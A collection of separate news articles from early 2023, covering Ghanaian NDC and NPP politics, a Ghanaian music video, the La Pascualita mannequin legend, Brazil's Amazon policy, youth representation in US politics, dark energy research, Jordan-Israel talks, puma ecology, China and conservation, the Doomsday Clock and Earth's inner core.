Member of Parliament (MP) for Ningo Prampram, Sam Nartey George is of the view that persons contending for the flagbearership race in the National Democratic Congress (NDC) against John Dramani Mahama are wasting their time.



He says when all the contenders are combined, he, Sam George can beat them if he contests against them; an indication that they are not popular in the National Democratic Congress (NDC).



He made this known when he spoke in an interview on Accra-based Joy Prime.



You are saying what If Mahama is not the flagbearer of NDC? Oh, how? With the greatest of respect to them if I stand, I will beat the two of them, how much more John Mahama? Me I have fans in the NDC than the two of them combine, he said when told Kojo Bonsu and Dr Kwabena Duffour are lacing their boots to contest the former President.



The National Democratic Congress (NDC) will go to the polls to elect a flagbearer on May 13, 2023.



Although John Dramani Mahama has not made his position known, he has been tagged as the presumptive flagbearer of the largest opposition political party in Ghana.





Source: ghanaweb.com









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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The NDC on Tuesday, January 24, made some changes to its leadership in Parliament with Ranking Member of the Finance Committee and Member of Parliament for Ajumako-Enyan-Esiam Constituency in the Central Region, Dr. Cassiel Ato Forson, replacing Tamale South MP, Haruna Iddrisu as the Minority Leader.



Emmanuel Armah-Kofi Buah, MP for Ellembelle has also replaced Ketu North MP, James Klutse Avedzi as the Deputy Minority Leader while Kwame Governs Agbodza has also replaced Asawase MP Muntaka Mubarak as the Minority Whip.



According to Ernest Owusu Bempah a Deputy National Communications Officer of the NPP, the NDC Minority in parliament has written their own "political obituary" ahead of the 2024 elections for changing their parliamentary leadership.



"Mahama's vindictiveness has been clearly exhibited, on his revenge for Haruna Iddrisu and Muntaka Mubarak . . . now there is no true northern person on the front bench in the leadership of the NDC in parliament, it is an attack on Dagomba people and the people of Gonjaland.



"It is clear that JM (John Mahama) is scared of Haruna Iddrisu and he will do anything to get rid of him using Fifi Kwetey to go after Haruna Iddrisu because he knows that he is going to lose the 2024 elections, and he has to set up Haruna Iddrisu because he will be the possible candidate to lead the NDC," he told Peacefmonline.com in an exclusive interview.



He said the Gonja/Dagomba rivalry has been exposed in the NDC, as the ethnocentrism within the NDC has been exploited.



He added that the Dagomba people has been exploited as an experienced man like Haruna Iddrisu who is a Dagomba has been used and dumped.



"Such a political action is like taking out an experienced headmaster and replacing him with an amateur school boy," he added.



NDC Make Changes To Parliamentary Leadership



The National Democratic Congress (NDC) has changed the leadership of its caucus in parliament.



A letter to the Speaker of Parliament to that effect signed by General Secretary Fifi Kwetey announced Dr Cassiel Ato Forson as the new Minority Leader.



He is to be assisted by Mr Emmanual Armah Kofi Buah as Deputy Minority Leader. This means Mr James Klutse Avedzi, the Chairman of the Public Accounts Committee, is no longer the Deputy Minority Leader.



The statement named a new Minority Whip in the person of Mr Kwame Agbodza who replaces Muntaka Mubarak. The First Deputy Whip remains Mr Ibrahim Ahmed and the Second Deputy Whip remains Comfort Doyoe Ghansah.



The statement said the new leadership would be charged to recommend consequential changes in the Ranking membership to the headquarters of the party for approval.



Inusah Fuseini Surprised



The former Member of Parliament for Tamale Central, Inusah Fuseini, has described as surprising the leadership changes by the National Democratic Congress (NDC) in Parliament.



Mr Fuseini believes the unexpected changes are part of a grand strategy by the party ahead of the 2024 general elections.



Speaking to Citi News, Mr Fuseini said the new leadership will need the loyalty and support of all Members of Parliament to succeed.



I received this with surprise, I had no inkling that it was coming. In the past, I said we needed to be cautious when people called for changes in the leadership. I know that the party is strategically positioned for elections in 2024, and I dont know that as part of the strategy, this is part of the strategic considerations for 2024 and beyond.



They will need the general support and cooperation of their members. I have no doubt that he [Ato Forson] has discharged himself well not only among the minority members but by the majority as well.

Source: Peacefmonline.com









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Former NDC Member of Parliament(MP) for Tamale Central, Inusah Fuseini has described the government of the New Patriotic Party as lazy, intolerant and excessively arrogant.



According to him, the ruling government has poorly managed the issues surrounding the Domestic Debt Exchange Programme which has adversely affected individual livelihoods and currently causing turmoil in the financial sector.



Speaking on Okay FM's 'Ade Akye Abia' programme, he explained that the NPP government has caused the mess the country currently finds itself in and as such must be made to pay for their sins.



The New Patriotic Partys failure to manage the economy better is the cause of the country's mishaps, he said.



"Some Ghanaians signed petitions to prevent the government from further borrowing, which fell on deaf ears, but now look at where we are now.



"This is the serious effect of mismanagement, which in the long run is affecting the country's financial system and economic activities.



"The Akufo-Addo governments Debt Exchange Programme has suffered setbacks from Ghanaians," he added.



A group known as "Individual Bondholders Forum" (IBF) says government has shown total disregard for the contractual rights of Individual bondholders and has made no effort to structure reasonable consultations with individual bondholders.



The minority in parliament has raised a strong objection to the programme.



According to them, the sector has not yet recovered from the recapitalization exercise that was carried out by the government.



It poses a risk to financial institutions, insurance companies, and, more recently, individual bondholders.



The financial institutions and insurance companies offer employment and they support businesses; this is at risk now.



The Minority has therefore called for a suspension of the programme pending further and deeper consultations.



Watch Video Below





Source: Isaac Kwame Owusu/Peacefmonline/[email protected]









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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National Democratic Congress Council of Elders Chair for South Africa and the Group Chairman of Allied Consortiums, Mr. Benjamin Kofi Quashie has postulated that the changes in NDC leadership in Parliament is a sign of them hitting the NPP vulnerabilities.



He is of the opinion that looking at the economic quagmire in which Ghana finds itself, matters of our ailing economy need a fiance's mind and the leadership of the party in Parliament must reflect the same. This, to him, should not result in any chaotic situation at the party.



Allied Consortiums Group Chair believes that a house divided against itself cannot win any battle but, if the National Democratic Congress can close its ranks irrespective of the leadership changes in Parliament, it can win the 2024 general elections.



He averred that chaos, misunderstanding and conflicts are normal within any group, however, he is urging all party members to put their individual differences aside, come together and be battle ready for 2024.



Speaking to Nyansa TV, Tuesday 24th January 2023 on YouTube and expressing his views concerning the current leadership changes on the NDC front in Parliament, he disclosed that "Chaos isn't a pit. Chaos is a ladder. Many who try to climb it fail and never get to try again. The ladder is real. The climb is all there are comrades. This change in our leadership in Parliament is a sign of us hitting the NPP vulnerabilities."



He furthered that "Matters of our ailing economy need a fiance mind. It all will make sense to us all soon! We've elected fearless and results-driven executives. The NDC would be united and poised to win the election 2024", Mr Kofi Quashie affirmed.



The SA NDC Council of Elders Chair made these statements when it emerged today that, the National Democratic Congress (NDC) has made changes in the party's leadership structure in Parliament with Dr Cassiel Ato Forson replacing Haruna Iddrisu as Minority Leader.



The party informed the Speaker of Parliament in a letter dated January 23, 2023, signed by the General Secretary, Fifi Kwetey.



Among the changes, Emmanuel Armah Kofi Buah also replaces James Avedzi as the Deputy Minority Leader while Kwame Agbodza is now the Minority Whip with Ahmed Ibrahim as the first Deputy Whip and Comfort Doyo Ghansah as Second Deputy Whip.



This change in the party's leadership in Parliament has ruffled the feathers of some of the rank and file. It is against the backdrop of this, that Mr Benjamin Kofi Quashie has charged part followers to respect the decision of the party and to support the same for victory in 2024.

Source: Peacefmonline.com/Ghana









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A former Chairman of the Finance Committee of Parliament, Dr. Mark Asibey Yeboah believes the Vice President, Dr. Mahamudu Bawumia will be a good President if given the nod to lead the country.



Speaking on Asempa FM's Ekosii Sen programme on Tuesday, the former Member of Parliament for New Juaben South, spoke highly of Dr. Bawumia and the impact he has made as Vice President.



"He has done his bit, and for me when you look at his CV, he will be a good President," Dr. Asibey Yeboah said.



Stressing his confidence and belief in Dr. Bawumia to become a very good President, the former legislator averred that there is a big difference between being a Vice President and a President, adding that Dr. Bawumia as Vice President "is not really in charge" and cannot take his own decisions.



Dr. Asibey Yeboah also highlighted the contributions of Dr. Bawumia to the NPP saying it "cannot be discounted".



"He has paid his dues to the party. When you look at how our numbers have gone up in the northern regions; now in the northern region for instance, we have 9 seats and the NDC also has 9 seats," he emphasized.



"You cannot discount his impact. Even in Savannah Region, we have 3 and the NDC have 4. In the entirety of the old Northern Region, NPP have 16 and the NDC have 15. In recent past, the the NPP had only 3 seats out of 31," the former MP added.

Source: Peacefmonline.com/Ghana









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Ghanaian Highlife star Bisa Kdei has revealed some twists and turns in his music career in the newly released "Next Chapter" video.



The Highlife cronner, who recently released his highly anticipated "Original" album, has been trending on social media with his well-curated 14-track masterclass.



The video for Bisa Kdei's album opener "Next Chapter" has been released, with some entrancing visuals shot by Director Abass.



In the song produced by Apya, Bisa Kdei reveals how he was cheated during the 2016 edition of the VGMA, as he was confident of being crowned the ultimate Artiste of the Year.



The highly synchronised video demonstrates the tolls and chills Bisa Kdei had to go through having lost his mother in 2015, with some netizens labelling him a funeral artiste.



This, he said, did not deter him from continuing to produce hit singles and tour the world to showcase his talent.



The "Original" album, which features the likes of Stonebwoy, Memphis Depay, Teni, Kidi, Sefa, and Camidoh has topped streaming charts and continues to make waves.



The link to the newly released music video:





Source: Peacefmonline.com









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Intrigue and a lack of facts lead people to become creative and imaginative. The truth is, there is limited information, which helps fuel the legend. "This is the fertile ground from which folk and urban legends are born and thrive," says Prower. He believes these types of legends continue to be passed on because they are fun and more interesting than a mundane explanation.

And there's likely another reason this "real-life" corpse bride in the shop window legend continues: It's an excellent marketing tool for this local dress shop. Who doesn't love a good mystery?

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Theresa Cordova shares in her 2012 University of New Mexico dissertation thesis, "Recordando Nuestra Gente: Ritual Memorialization Along the Camino Real de Tierra Adentro," that she visited the shop where the bridal mannequin stands, explained her research objectives and was granted an appointment to talk with the manager. But when she came back for the scheduled meeting a few days later, she realized she had been stood up.

A store clerk eventually told her there wouldn't be an interview because the owners claimed it would bring bad luck, she shares. "I left the store and realized how the story of Pascualita was the dress shop's marketing tool in a city with multiple wedding dress shops," Cordova writes. "The owner and public relations director viewed my study as negative publicity."

Determined to find more information about La Pascualita and prove her existence, Cordova explains in her thesis that she sought out archives at the city church and was told the story was only a legend.

"I could not find any record of her life in the archives because she did not, in fact, exist," Cordova writes. "I was unable to rely on any historical archives, written obituaries or church documents in order to reconstruct the life and death of La Pascualita."

Denying interviews about the corpse in the shop window seems to be a good marketing strategy and one that maintains the intrigue and mystery of La Pascualita. Prower thinks it's a good business decision to turn down interviews. "It keeps the legend alive, keeps their business in business, and keeps a little more magic here in our mundane world," he says.

Now That's Interesting The biggest factor in La Pascualita's fame is that "such a highly detailed mannequin with eye-following optical illusion effects was in a local bridal shop," says Prower. This type of mannequin wouldn't be unusual at a large department store, but it definitely stands out for a small shop, he explains. "I think the setting of the Chihuahua bridal shop helped make such a detailed mannequin even more unsettling," says Prower.
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Brazil Environment Minister Marina Silva speaking to AFP from her office in Brasilia.

Brazil's environment minister Marina Silva knows she has her work cut out to protect the Amazon, the world's largest rainforest that is shared among nine countries.

"It will be difficult," Silva acknowledged in an interview with AFP on Monday night.

Just three weeks into the job, Silva said the environmental situation in her country, which is home to more than 60 percent of the Amazon, was "worse than expected."

When left-wing President Luiz Inacio Lula da Silva appointed this emblematic figure in the environment struggle to her position, he signaled that the planet was a clear priority for the new administration after four years of far-right leader Jair Bolsonaro's governance, which saw deforestation hit record levels.

"The reality is a lot worse than we imagined," said Silva, 64, who was born in the heart of the jungle.

"We will have to make a great effort" because the ministry "has been largely dismantled."

Lula's focus on the environment is "in line with what is happening elsewhere in the world."

He has set 2030 as a target for reaching zero deforestation.

"It will not be an easy road ... but we will try to recover lost time," said Silva.

'Convincing people' the key

Within Lula's government, 17 ministers will be involved in environmental policies.

But when it comes to deforestation, Silva says achieving target numbers is not enough, "we have to convince people that it is not a good idea to destroy the forest."

"We will invest in biotechnologies, tourism, low-carbon emissions agriculture and in other revenue sources," she said. "Our aim is to restart preventative actions and the fight against deforestation."

An aerial view of a forest fire in Brazil's Para state in August 2020.

But Silva warned against expecting too much too soon during Lula's four-year term.

"We will see what can be achieved in this short space of time. Only populist governments can guarantee they will solve such massive problems in four years," she said with irony.

"We hope to arrive at the COP30 in 2025 as a country that has fulfilled its obligations."

Brazil has submitted a bid to host the 2025 climate conference in Belem, a city on the edge of the Amazon.

Brasilia will not be able to pull off miracles without international help, said Silva, who was previously environment minister during Lula's first two terms as president (from 2003 to 2010) before quiting in 2008 in protest against what she called a lack of funding.

One of Lula's first acts as president was to reactivate the Amazon Fundwhose main contributors were Norway and Germany. It had been suspended under Bolsonaro due to a scandal related to forest fires in the Amazon.

"We are talking to the United Kingdom, France, Spain and several other countries that can contribute to the Amazon Fund. We don't want it to be just Norway and Germany," said Silva.

'A life of dignity'

Negotiations are also well advanced with businesses and philanthropic organizations, said Silva.

But she says the international community still needs to make more of an effort.

"This collaboration with developed countries must also translate into the opening of markets for sustainable products" so that "what is legally produced can serve as a source of income for the Amazon's 25 million inhabitants."

"We must guarantee to these populations a life of dignity," said Silva, adding that the fight against the commercialization of illegally extracted gold and logs needs to be multilateral.

But, she warned, "if developed countries do not also reduce their carbon dioxide emissions, the Amazon will be destroyed."

 2023 AFP
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US Capitol Building. Credit: Shutterstock

Leaders in the U.S. are getting older. For example, politicians in the House of Representatives are 20 years older than the average voter, and the country's 80-year-old President may stand for re-election. According to research from the University of Gothenburg, there is a risk that younger voters will become disinterested in democracy in the U.S. because it is so difficult for younger candidates to get elected.

People under the age of 30 constitute half of the world's population. Previous research has shown that only 2% of those with a seat in a legislative assembly are under 30 years old.

"The relative absence of young adults in politics could contribute to what we call the vicious cycle of political alienation among the young. It is marked by low numbers of younger people in parliaments, low voter turnouts and political disenchantmentfactors that tend to feed and amplify each other," explains Aksel Sundstrom, political scientist.

The under-representation of young adults is a major problem in the U.S. In 2023, many of the most influential American politicians are significantly older than their voters. President Joe Biden has turned 80 and is the oldest president in U.S. history; the Senate's minority leader Mitch McConnell will be 81 soon and Donald Trump, who has declared his intention to run for president again, will turn 78 during the election campaign of 2024.

"For example, the average age of members of the House of Representatives in office from 2020 to 2022 was 58 years old, which is about 20 years older than the average American. And the age gap between voters and candidates has increased. Between 1981 and 2021, the average age of candidates rose by ten years."

Few younger people nominated

It was previously unknown where exactly in the process young candidates disappeared from American elections. Consequently, Aksel Sundstrom and Daniel Stockemer, professor of political science at the University of Ottawa, set out to jointly study the nomination of candidates, the selection of candidates in the primaries, and the age of the candidates who won a seat in the U.S. House of Representatives in 2020. Their analysis was based on 1,661 candidates.

"Both Democrats and Republicans nominated a relatively small percentage of younger people in favor of middle-aged candidates. The average age of the selected candidates was 51.5 years. Only about 11% of all the candidates were aged 35 or younger."

In election campaigns, the younger candidates fared worse than the older candidates. The average age of the winners of primaries was 54, and the age of those who were ultimately elected to the House of Representatives was 58 on average.

"We see a strong connection between age and what we call election capital. This includes experience of previous elections and politics, support from the parties and being able to fund their campaigns. The parties often place younger candidates in electoral districts where they have little chance of winning, and this is problematic."

Advanced age of leaders considered problematic

American voters do not actually prefer older candidates. Instead, older candidates are just the ones with more resources and they get to run in more winnable electoral districts than younger ones, often in districts where they have already been elected. Surveys in the U.S. indicate that Americans have nothing against younger candidates.

"According to a September 2022 poll by CBS News, 47% responded that politics would improve if there were more younger people in politics. Another survey in the U.S. indicated that 9 out of 10 Americans feel that 75 should be the maximum age for serving as President."

A global problem for democracy

Aksel Sundstrom and Daniel Stockemer have also studied the problem of the underrepresentation of younger people in democractically elected legislative assemblies globally, which they talk about in a new book. The book is the first to analyze the phenomenon and explains why younger people are more successful in winning seats in certain countries and within certain parties. The researchers point to a couple of factors that could lead to better representation of the young in positions of power. In many countries, including the U.S., there are specific age thresholds for adults who can run for elections.

"In the U.S., that threshold is 25 for the House of Representatives and 30 for the Senate. In our opinion, these antiquated and arbitrary rules regarding age violate democratic principles. Ultimately, the message turns out to be that younger people are not welcome to participate in politics. Sweden is one of the very few examples of countries where younger people actually have a high presence in our Riksdag, our parliament," Aksel Sundstrom explains.

Related research is published in Electoral Studies.

More information: Daniel Stockemer et al, Young adults' under-representation in elections to the U.S. House of Representatives, Electoral Studies (2022). DOI: 10.1016/j.electstud.2022.102554 Youth without Representation: The Absence of Young Adults in Parliaments, Cabinets, and Candidacies. University of Michigan Press, 2022, www.fulcrum.org/ebooks/vq27zr0  7/download?locale=en
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Credit: CC0 Public Domain

What is behind dark energyand what connects it to the cosmological constant introduced by Albert Einstein? Two physicists from the University of Luxembourg point the way to answering these open questions of physics.

The universe has a number of bizarre properties that are difficult to understand with everyday experience. For example, the matter we know, consisting of elementary and composite particles building molecules and materials, apparently makes up only a small part of the energy of the universe. The largest contribution, about two-thirds, comes from "dark energy"a hypothetical form of energy whose background physicists are still puzzling over.

Moreover, the universe is not only expanding, but also doing so at an ever-faster pace. Both characteristics seem to be connected, because dark energy is also considered a driver of accelerated expansion. Moreover, it could reunite two powerful physical schools of thought: quantum field theory and the general theory of relativity developed by Albert Einstein. But there is a catch: calculations and observations have so far been far from matching.

Now two researchers from Luxembourg have shown a new way to solve this 100-year-old riddle in a paper published by the journal Physical Review Letters.

The trail of virtual particles in a vacuum

"Vacuum has energy. This is a fundamental result of quantum field theory," explains Prof. Alexandre Tkatchenko, Professor of Theoretical Physics at the Department of Physics and Materials Science at the University of Luxembourg. This theory was developed to bring together quantum mechanics and special relativity, but quantum field theory seems to be incompatible with general relativity. Its essential feature is that, in contrast to quantum mechanics, the theory considers not only particles but also matter-free fields as quantum objects.

"In this framework, many researchers regard dark energy as an expression of the so-called vacuum energy," says Tkatchenko: a physical quantity that, in a vivid image, is caused by a constant emergence and interaction of pairs of particles and their antiparticlessuch as electrons and positronsin what is actually empty space.

Physicists speak of this coming and going of virtual particles and their quantum fields as vacuum or zero-point fluctuations. While the particle pairs quickly vanish into nothingness again, their existence leaves behind a certain amount of energy. "This vacuum energy also has a meaning in general relativity," the Luxembourg scientist notes. "It manifests itself in the cosmological constant Einstein included into his equations for physical reasons."

A colossal mismatch

Unlike vacuum energy, which can only be deduced from the formulae of quantum field theory, the cosmological constant can be determined directly by astrophysical experiments. Measurements with the Hubble space telescope and the Planck space mission have yielded close and reliable values for the fundamental physical quantity.

Calculations of dark energy on the basis of quantum field theory, on the other hand, yield results that correspond to a value of the cosmological constant that is up to 10120 times largera colossal discrepancy, although in the world view of physicists prevailing today, both values should be equal. The discrepancy found instead is known as the "cosmological constant enigma." "It is undoubtedly one of the greatest inconsistencies in modern science," says Alexandre Tkatchenko.

Unconventional way of interpretation

Together with his Luxembourg research colleague Dr. Dmitry Fedorov, he has now brought the solution to this puzzle, which has been open for decades, a significant step closer. In a theoretical work, the results of which they recently published in Physical Review Letters, the two Luxembourg researchers propose a new interpretation of dark energy. It assumes that the zero-point fluctuations lead to a polarizability of the vacuum, which can be both measured and calculated.

"In pairs of virtual particles with an opposite electric charge, it arises from electrodynamic forces that these particles exert on each other during their extremely short existence," Tkatchenko explains. The physicists refer to this as a vacuum self-interaction. "It leads to an energy density that can be determined with the help of a new model," says the Luxembourg scientist.

Together with his research colleague Fedorov, they developed the basic model for atoms a few years ago and presented it for the first time in 2018. The model was originally used to describe atomic properties, in particular the relation between polarizability of atoms and the equilibrium properties of certain non-covalently bonded molecules and solids. Since the geometric characteristics are quite easy to measure experimentally, polarizability can also be determined via their formula.

"We transferred this procedure to the processes in the vacuum," explains Fedorov. To this end, the two researchers looked at the behavior of quantum fields, in particular representing the "coming and going" of electrons and positrons. The fluctuations of these fields can also be characterized by an equilibrium geometry which is already known from experiments. "We inserted it into the formulas of our model and in this way ultimately obtained the strength of the intrinsic vacuum polarization," Fedorov reports.

The last step was then to quantum mechanically calculate the energy density of the self-interaction between fluctuations of electrons and positrons. The result obtained in this way agrees well with the measured values for the cosmological constant. "[This means] dark energy can be traced back to the energy density of the self-interaction of quantum fields," says Alexandre Tkatchenko.

Consistent values and verifiable forecasts

"Our work thus offers an elegant and unconventional approach to solving the riddle of the cosmological constant," sums up the physicist. "Moreover, it provides a verifiable prediction: namely, that quantum fields such as those of electrons and positrons do indeed possess a small but ever-present intrinsic polarization."

This finding points the way for future experiments to detect this polarization in the laboratory as well, say the two Luxembourg researchers. "Our goal is to derive the cosmological constant from a rigorous quantum theoretical approach," says Dmitry Fedorov. "And our work contains a recipe on how to realize this."

He sees the new results obtained together with Alexandre Tkatchenko as the first step towards a better understanding of dark energyand its connection to Albert Einstein's cosmological constant. Finally, Tkatchenko is convinced that "in the end, this could also shed light on the way in which quantum field theory and general relativity theory are interwoven as two ways of looking at the universe and its components."

More information: Alexandre Tkatchenko et al, Casimir Self-Interaction Energy Density of Quantum Electrodynamic Fields, Physical Review Letters (2023). DOI: 10.1103/PhysRevLett.130.041601 Journal information: Physical Review Letters
AMMAN/JERUSALEM, Jan. 24 (Xinhua) -- King Abdullah II of Jordan on Tuesday stressed the need to maintain calm and cease all acts of violence to pave the way for the Middle East peace process.

At a meeting in Amman with visiting Israeli Prime Minister Benjamin Netanyahu, the king stressed the importance of respecting the historical and legal status quo in Al-Aqsa Mosque compound to maintain peace, according to a statement by the Jordanian Royal Hashemite Court.

The king stressed Jordan's steadfast position in supporting the two-state solution, which guarantees the establishment of an independent Palestinian state on the June 4, 1967 border, with East Jerusalem as its capital, living side by side with Israel in peace.

In a statement issued by Netanyahu's office, the two leaders discussed regional issues and "especially strategic, security and economic cooperation between Israel and Jordan, which contributes to regional stability."

The two leaders also praised "the long-standing friendship and partnership" between Israel and Jordan, the office said.

Jordan was the second Arab nation to normalize relations with Israel, but tensions have increased between the two countries since the inauguration of the Israeli right-wing coalition government in December last year. 
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A new study adds to the evidence that apex predators like pumas play a unique role in ecosystems that is not fulfilled by smaller carnivores. Credit: Camera-trap photo courtesy Alex Avrin

A camera-trap study of two ecosystemsone with pumas and one withoutadds to scientists' understanding of the many ways apex predators influence the abundance, diversity and habits of other animals, including smaller carnivores.

Reported in the journal Ecosphere, the study followed multiple members of the order Carnivora, looking at how the largest carnivore in each locale influenced the behavior and presence of other animals in the same vicinity.

"Nobody's really looked at how the whole carnivore community changes when you lose that top predator," said Alex Avrin, who led the research as an M.S. student at the University of Illinois Urbana-Champaign with Max Allen, a research scientist at the Illinois Natural History Survey and professor of natural resources and environmental sciences at the U. of I. Avrin is now a scientist with the California Fish and Wildlife Service.

Previous studies have shown that pumas tend to suppress populations of medium-sized carnivores like coyotes, which do their best to avoid pumas, Avrin said. Reduced coyote populations allow other medium-sized carnivores to flourish. This has a cascading effect on many other species.

Pumas also leave behind a lot of carrion, allowing a host of scavengersfrom microbes to birds and other animalsto feast on the remains that the pumas don't consume, Avrin said. Coyotes tend to target smaller species and eat most of what they kill, leaving less behind for other creatures.

When pumas disappear, other carnivores, like this coyote, function as the top predator. But their influence on other carnivore species is distinctly different than that of pumas, a study finds. Credit: Camera-trap photo courtesy Max Allen

The researchers wanted to compare the dynamics of ecosystems with and without pumas.

"We specifically wanted to look at whether, in the absence of pumas, coyotes step up and fill that role of the apex predator," she said.

Over several weeks-long or months-long sessions between 2011 and 2019, the researchers deployed grids of motion-activated cameras in various locales in the southern Santa Cruz Mountains of California and across the vast military installation of Fort Hood, Texas. The Santa Cruz site has a healthy population of pumas as well as bobcats, gray foxes, raccoons, striped skunks and coyotes. Fort Hood has those same carnivorous mammals except pumas. It also hosts the eastern spotted skunk and the ringtail, a member of the raccoon family. All of these species were included in the new analysis.

"We used the photos to get an idea of which species were at each site, what areas they were using and how frequently we detected them," Avrin said. "And we used a couple of different measures to look at how the smaller carnivores behaved around both the pumas and coyotes."

Striped skunks were more likely to use areas frequented by pumas, but not those used by coyotes. Credit: Michael Jeffords and Susan Post

The two locales were similar enough to make these comparisons, "but of course climate, human land use and other variables differed between the sites," she said.

As expected, the analysis revealed that wherever pumas were present, coyotes were rarely seen. While other carnivores also appeared to avoid pumas, they were much more likely to be detected by the same camera traps as pumasjust at different times. Even bobcats and gray foxes used areas frequented by pumas more often than the researchers expected.

In Fort Hood, where pumas were absent, coyotes had a different effect on the other carnivores.

"If coyotes were filling that same apex role that pumas do, we would expect them to suppress bobcatstheir next largest competitorreleasing the smaller carnivores," Avrin said. "And what we found is that they really just suppressed everythingbobcats and the other carnivores."

The study also evaluated other carnivores, including gray foxes. Credit: Camera-trap photo courtesy Alex Avrin

The coyotes appeared to exert less of a suppressive effect on the other carnivores than the pumas had on coyotes, she said.

"This is a correlational study, so we can't say definitively that the absence of pumas caused these other effects," she said. But the study strongly suggests that coyotes do not replace the apex predator in an ecosystem that lacks pumas.

"So yes, when you lose an apex predator, pretty much your whole ecosystem is going to change," Avrin said.

"In the absence of pumas, you'll likely have more intensive grazing by deer, especially in areas near water, which can affect stream flows and other species," she said. "Coyotes, because they can't control those bigger prey populations the same way, don't have the same effect. They likely end up suppressing smaller prey populations, which then changes things in a different way."

Bobcats were more likely to be present at sites also used by pumas, but appeared to avoid coyotes, researchers found. Credit: Camera-trap photo courtesy Alex Avrin

"This study gives us a fuller picture of the changes that occur when an apex predator goes missing," Allen said. "While many people think that smaller carnivores can move into the apex role, we see that mesocarnivores like coyotes don't provide the same effects as a true apex predator. This highlights how important it is to keep each species in place for an intact ecological community."

More information: Alexandra C. Avrin et al, Can a mesocarnivore fill the functional role of an apex predator?, Ecosphere (2023). DOI: 10.1002/ecs2.4383 Journal information: Ecosphere
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Credit: Unsplash/CC0 Public Domain

In a first-of-its-kind study, researchers from Northern Arizona University examined the core beliefs of the Chinese government, aiming to uncover opportunities to slow climate change by leveraging Beijing's political will for sustainability and conservation gains.

With one of the fastest-growing economies and the largest human population, China is arguably the world's most influential country. Understanding Chinese political will could mean learning how to navigate the powerhouse and, most importantly, how to leverage its influence for good.

Recently published in People and Nature, a new case study, brought together researchers from China, the U.S., Japan, Australia, Canada, the U.K. and South Africa, all of whom share a common goal of learning more about the Chinese government.

Lead author of the study, Dr. Hubert Cheung believes it is crucial to understand the motivations behind Beijing's decision making, especially in regards to biodiversity conservation. He said "We need to cooperate with China if we are to find effective solutions to climate change, for illegal wildlife trade, for sustainability transitions."

The investigation the researchers undertook was a long process of discovery, bringing together conservation and political science to give people everywhere a more structured understanding of the motivations behind China's decisions, both in regard to environmental issues and beyond.

"Understanding the political agendas of decision-makers enables conservationists to identify where political will already exists and allows environmental objectives to piggyback on the motivation to deliver results." explains Dr. Cheung.

Although it is difficult to predict the future of China, many of the Chinese leadership's core strategic interests present in the study can be observed in the high-level decisions being made today.

"The world is becoming an increasingly divided and polarized place," Cheung said. "Hopefully, by understanding each other a little bit better, we can find ways to work together more effectively and find lasting solutions to the big environmental challenges we are facing."

More information: Hubert Cheung et al, Understanding China's political will for sustainability and conservation gains, People and Nature (2023). DOI: 10.1002/pan3.10425
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The Bulletin of the Atomic Scientists announced that the hands of the 'Doomsday Clock' symbolizing the perils to humanity had moved to 90 seconds to midnight, the closest it has ever been.

Top scientists and security experts moved the "Doomsday Clock" forward on Tuesday to just 90 seconds to midnight - signaling an increased risk to humanity's survival from the nuclear shadow over the Ukraine conflict and the growing climate crisis.

The new timing of the clock set by the Bulletin of the Atomic Scientists is closer to midnight than ever before.

The hands of the clock, which the Bulletin describes as a "metaphor for how close humanity is to self-annihilation," had been at 100 seconds to midnight since January 2020the closest to midnight it had been in its history.

A decision to reset the hands of the symbolic timepiece is taken each year by the Bulletin's science and security board and its board of sponsors, which includes 10 Nobel laureates.

In a statement, the Bulletin said it was advancing the hands of the clock by 10 seconds this year "due largely but not exclusively to Russia's invasion of Ukraine and the increased risk of nuclear escalation."

"Russia's thinly veiled threats to use nuclear weapons remind the world that escalation of the conflictby accident, intention, or miscalculationis a terrible risk," it said. "The possibility that the conflict could spin out of anyone's control remains high."

The Bulletin said the new clock time "was also influenced by continuing threats posed by the climate crisis and the breakdown of global norms and institutions needed to mitigate risks associated with advancing technologies and biological threats such as COVID-19."

"We are living in a time of unprecedented danger, and the Doomsday Clock time reflects that reality," said Rachel Bronson, president and CEO of the Bulletin of the Atomic Scientists.

"90 seconds to midnight is the closest the clock has ever been set to midnight, and it's a decision our experts do not take lightly," Bronson said.

"The US government, its NATO allies and Ukraine have a multitude of channels for dialogue," she said. "We urge leaders to explore all of them to their fullest ability to turn back the clock."

From L-R, members of the Bulletin of the Atomic Scientists Siegfried S. Hecker, Daniel Holz, Sharon Squassoni, Mary Robinson and Elbegorj Tsakhia unveil the hands of the 'Doomsday Clock'

Calls for action

Former UN secretary-general Ban Ki-moon also called for world leaders to take action in a world that has become more dangerous because of COVID-19, extreme weather events and "Russia's outrageous war on Ukraine."

"Leaders did not heed the Doomsday Clock's warnings in 2020," Ban said. "We all continue to pay the price. In 2023 it is vital for all our sakes that they act."

The Nobel Peace Prize-winning International Campaign to Abolish Nuclear Weapons also noted the shift in the clock's hands.

"We have had enough of the Doomsday Clock warnings being followed by inaction," ICAN executive director Beatrice Fihn said in a statement.

"The leaders of the nuclear armed states must urgently negotiate nuclear disarmament, and the G7 meeting in Hiroshima in May 2023 is the perfect place to outline such plan," Fihn said.

The clock was originally set at seven minutes to midnight.

The furthest from midnight it has ever been is 17 minutes, following the end of the Cold War in 1991.

The Bulletin was founded in 1945 by Albert Einstein, J. Robert Oppenheimer and other scientists who worked on the Manhattan Project which produced the first nuclear weapons.

The idea of the clock symbolizing global vulnerability to catastrophe followed in 1947.

 2023 AFP
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Deep below the surface, the Earth's inner core may have changed direction, new research suggests.

Earth's inner core, a hot iron ball the size of Pluto, has stopped spinning faster than the planet's surface and might now be rotating slower than it, research suggested on Monday.

